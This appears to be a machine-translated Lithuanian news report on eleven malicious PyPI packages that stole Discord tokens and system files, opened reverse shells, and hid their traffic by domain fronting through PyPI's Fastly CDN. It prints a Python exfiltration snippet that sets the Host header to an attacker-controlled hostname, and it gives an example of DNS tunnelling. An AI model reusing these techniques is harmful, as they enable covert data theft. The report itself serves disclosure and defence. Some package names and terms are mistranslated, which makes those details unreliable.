PyPI kataloge aptiktos kenkėjiškos bibliotekos, kurios naudoja PyPI CDN ryšio kanalui paslėpti

PyPI (Python Package Index) kataloge buvo identifikuota 11 paketų su kenkėjišku kodu. Prieš nustatant problemas, paketai iš viso buvo atsisiųsti apie 38 tūkst. Aptikti kenkėjiški paketai pasižymi tuo, kad naudoja sudėtingus metodus, kad paslėptų ryšio kanalus su užpuolikų serveriais.

  • Svarbus paketas (6305 atsisiuntimai), svarbus paketas (12897) – užmezgė ryšį su išoriniu serveriu, prisidengdamas prisijungimu prie pypi.python.org, kad suteiktų apvalkalo prieigą prie sistemos (atvirkštinis apvalkalas), ir naudojo trevorc2 programą, kad paslėptų komunikacijos kanalas.
  • pptest (10001), ipboards (946) - naudojo DNS kaip ryšio kanalą informacijai apie sistemą perduoti (pirmame pakete pagrindinio kompiuterio pavadinimas, darbo katalogas, vidinis ir išorinis IP, antrame - vartotojo vardas ir pagrindinio kompiuterio pavadinimas) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) – sistemoje atpažino Discord paslaugos prieigos raktą ir išsiuntė jį išoriniam kompiuteriui.
  • trrfab (287) – išoriniam kompiuteriui išsiuntė /etc/passwd, /etc/hosts, /home identifikatorių, pagrindinio kompiuterio pavadinimą ir turinį.
  • 10Cent10 (490) – užmezgė atvirkštinį apvalkalo ryšį su išoriniu pagrindiniu kompiuteriu.
  • yandex-yt (4183) – rodomas pranešimas apie pažeistą sistemą ir nukreiptas į puslapį su papildoma informacija apie tolesnius veiksmus, paskelbtą per nda.ya.ru (api.ya.cc).

Ypač atkreiptinas dėmesys į išorinių prieglobų prieigos metodą, naudojamą svarbių ir svarbių paketų paketuose, kurių veiklai paslėpti naudojamas greitas turinio pristatymo tinklas, naudojamas PyPI kataloge. Tiesą sakant, užklausos buvo siunčiamos į pypi.python.org serverį (įskaitant pavadinimo python.org nurodymą SNI HTTPS užklausoje), tačiau HTTP antraštėje „Host“ buvo nurodytas serverio, kurį valdo užpuolikai, pavadinimas (sek. forward.io. global.prod.fastly.net). Turinio pristatymo tinklas išsiuntė panašią užklausą atakuojančiam serveriui, naudodamas TLS ryšio parametrus į pypi.python.org, kai perduoda duomenis.

PyPI infrastruktūrą maitina „Fastly“ turinio pristatymo tinklas, kuris naudoja „Varnish“ skaidrųjį tarpinį serverį tipinėms užklausoms talpykloje išsaugoti, taip pat naudoja TLS sertifikatų apdorojimą CDN lygiu, o ne galutiniuose serveriuose, kad HTTPS užklausos būtų perduotos per tarpinį serverį. Nepriklausomai nuo tikslinio pagrindinio kompiuterio, užklausos siunčiamos į tarpinį serverį, kuris nustato norimą pagrindinį kompiuterį naudodamas HTTP antraštę „Host“, o pagrindinio kompiuterio domenų pavadinimai susiejami su CDN apkrovos balansavimo priemonės IP adresais, būdingais visiems „Fastly“ klientams.

Užpuolikų serveris taip pat registruojasi „CDN Fastly“, kuris visiems suteikia nemokamus planus ir netgi leidžia anonimiškai registruotis. Pastebėtina, kad norint siųsti užklausas aukai kuriant „atvirkštinį apvalkalą“, taip pat naudojama schema, tačiau inicijuojama iš užpuoliko pagrindinio kompiuterio pusės. Iš išorės sąveika su užpuoliko serveriu atrodo kaip teisėta sesija su PyPI katalogu, užšifruota naudojant PyPI TLS sertifikatą. Panaši technika, žinoma kaip „domeno frontavimas“, anksčiau buvo aktyviai naudojama norint paslėpti pagrindinio kompiuterio pavadinimą apeinant blokavimą, naudojant kai kuriuose CDN tinkluose teikiamą galimybę pasiekti HTTPS, nurodant fiktyvų pagrindinį kompiuterį SNI ​​ir iš tikrųjų perduodant užklausą prieglobą HTTP Host antraštėje TLS seanso viduje.

PyPI kataloge aptiktos kenkėjiškos bibliotekos, kurios naudoja PyPI CDN ryšio kanalui paslėpti

Siekiant paslėpti kenkėjišką veiklą, TrevorC2 paketas buvo papildomai naudojamas, kad sąveika su serveriu būtų panaši į įprastą žiniatinklio naršymą, pavyzdžiui, kenkėjiškos užklausos buvo siunčiamos prisidengiant vaizdo atsisiuntimu „https://pypi.python.org/images/ guid=“ su informacijos kodavimu guid parametre. url = "https://pypi.python.org" + "/images" + "?" + “guid=” + b64_payload r = request.Request(url, headers = {‘Priimančioji vieta’: „psec.forward.io.global.prod.fastly.net“})

pptest ir ipboards paketai naudojo kitokį tinklo veiklos slėpimo metodą, pagrįstą naudingos informacijos kodavimu DNS serverio užklausose. Kenkėjiška programa perduoda informaciją vykdydama DNS užklausas, tokias kaip „nu4timjagq4fimbuhe.example.com“, kuriose į valdymo serverį perduodami duomenys subdomeno pavadinime užkoduojami naudojant base64 formatą. Užpuolikas šiuos pranešimus gauna valdydamas example.com domeno DNS serverį.

Šaltinis: opennet.ru

Добавить комментарий